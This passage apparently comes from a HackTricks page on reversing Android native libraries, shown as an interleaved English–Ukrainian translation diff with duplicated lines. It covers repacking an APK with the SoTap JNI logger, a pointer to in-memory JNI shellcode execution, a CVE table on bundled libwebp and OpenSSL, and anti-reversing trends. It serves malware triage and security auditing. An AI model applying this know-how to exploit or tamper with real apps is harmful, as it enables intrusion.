- Ініціалізується рано та спостерігає JNI/native взаємодії всередині процесу, який її завантажив.
- Зберігає логи, використовуючи кілька доступних для запису шляхів з плавним fallback до Logcat, коли сховище обмежено.
- Налаштовується в коді: редагуйте sotap.c, щоб розширити/підкорегувати, що саме логувати, і перебудуйте під потрібний ABI.
- Ініціалізується рано та спостерігає JNI/native взаємодії всередині процесу, який його завантажив.
- Зберігає логи у кількох доступних шляхах з плавним відкатом на Logcat, коли збереження даних обмежено.
- Налаштовується в коді: відредагуйте sotap.c, щоб розширити/відрегулювати, що логуватиметься, і перебудуйте для потрібного ABI.
Setup (repack the APK):
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
@ -83,7 +83,7 @@ invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
```
3) Rebuild/sign/install, run the app, then collect logs.
Log paths (checked in order):
Шляхи для логів (перевіряються в порядку):
```
/data/user/0/%s/files/sotap.log
/data/data/%s/files/sotap.log
@ -91,46 +91,57 @@ Log paths (checked in order):
/sdcard/Download/sotap-%s.log
# If all fail: fallback to Logcat only
```
Notes and troubleshooting:
Примітки та усунення несправностей:
- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger wont load.
- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat.
- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c.
This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks arent available.
Цей підхід корисний для malware triage та JNI-дебагу, коли критично важливо спостерігати потоки викликів native з початку процесу, але root/системно-широкі hooks недоступні.
---
### Recent vulnerabilities worth hunting for in APKs
### Див. також: виконання native-коду в пам'яті через JNI
| Year | CVE | Affected library | Notes |
Поширений вектор атаки — завантажити raw shellcode blob під час виконання та виконати його безпосередньо з пам'яті через JNI-міст (без ondisk ELF). Деталі та готовий до використання JNI snippet тут:
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
---
### Останні вразливості, які варто шукати в APK
| Рік | CVE | Уражена бібліотека | Примітки |
|------|-----|------------------|-------|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Переповнення буфера в купі (heap buffer overflow), доступне з native-коду, який декодує WebP-зображення. Декілька Android-додатків включають в себе вразливі версії. Коли ви бачите `libwebp.so` всередині APK, перевіряйте його версію і пробуйте експлуатацію або виправлення.| |
|2024|Multiple|OpenSSL 3.x series|Кілька проблем пов’язаних із безпекою пам’яті та padding-oracle. Багато Flutter & ReactNative бандлів постачають власний `libcrypto.so`.|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
Коли ви знаходите *third-party* `.so` файли всередині APK, завжди звіряйте їх хеш з upstream advisories. SCA (Software Composition Analysis) рідко застосовується на мобільних платформах, тому застарілі вразливі збірки поширені.
Коли ви помічаєте *third-party* `.so` файли в APK, завжди перевіряйте їх хеш проти upstream advisories. SCA (Software Composition Analysis) рідко застосовується на мобільних платформах, тож застарілі вразливі збірки поширені.
---
### Anti-Reversing & Hardening trends (Android 13-15)
### Тенденції Anti-Reversing та Hardening (Android 13-15)
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 вмикає PAC/BTI в системних бібліотеках на сумісному ARMv8.3+ silicon. Decompilers тепер відображають PACповязані псевдо-інструкції; для динамічного аналізу Frida інжектує trampolines *after* stripping PAC, але ваші кастомні trampolines повинні викликати `pacda`/`autibsp` там, де потрібно.
* **MTE & Scudo hardened allocator:** memory-tagging є опціональним, але багато Play-Integrity aware додатків збираються з `-fsanitize=memtag`; використовуйте `setprop arm64.memtag.dump 1` плюс `adb shell am start ...` щоб зафіксувати tag faults.
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) все частіше захищають *native* код, не лише Java; очікуйте фальшиві control-flow та зашифровані string blobs у `.rodata`.
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 вмикає PAC/BTI в системних бібліотеках на підтримуваних чіпах ARMv8.3+. Декомпілятори тепер відображають PACпов'язані псевдо-інструкції; для динамічного аналізу Frida інжектить trampolines *після* видалення PAC, але ваші кастомні trampolines повинні викликати `pacda`/`autibsp`, де це необхідно.
* **MTE & Scudo hardened allocator:** memory-tagging є опційним, але багато Play-Integrity-aware apps збираються з `-fsanitize=memtag`; використовуйте `setprop arm64.memtag.dump 1` разом із `adb shell am start ...` щоб зафіксувати tag faults.
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** комерційні packers (e.g., Bangcle, SecNeo) все частіше захищають *native* код, не лише Java; очікуйте фальшивий control-flow та зашифровані string blobs у `.rodata`.
---
### Resources
### Ресурси
- **Learning ARM Assembly:** [Azeria Labs ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Вивчення ARM Assembly:** [Azeria Labs ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **Документація JNI & NDK:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
### References
### Посилання
- Frida 16.x change-log (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- NVD advisory for `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Lightweight in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- Frida 16.x запис змін (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- Повідомлення NVD щодо `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Легкий in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- Релізи SoTap [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- Як працювати з SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}